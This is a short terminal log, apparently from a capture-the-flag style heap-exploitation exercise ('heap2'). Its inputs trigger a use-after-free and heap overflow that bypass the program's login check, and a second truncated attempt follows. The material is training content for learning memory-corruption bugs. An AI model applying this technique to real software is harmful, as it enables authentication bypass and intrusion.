```
$ ./heap2
[ auth = (nil), service = (nil) ]
auth admin
[ auth = 0×804c008, service = (nil) ]
reset
[ auth = 0×804c008, service = (nil) ]
service hack
[ auth = 0×804c008, service = 0×804c008 ]
login
please enter your password
[ auth = 0×804c008, service = 0×804c008 ]
service aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[ auth = 0×804c008, service = 0×804c018 ]
login
you have logged in already!
[ auth = 0×804c008, service = 0×804c018 ]
login
you have logged in already!
```

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$ ./heap2
[ auth = (nil), service = (nil) ]
auth admin
[ auth = 0×804c008, service = (nil) ]
service aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
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```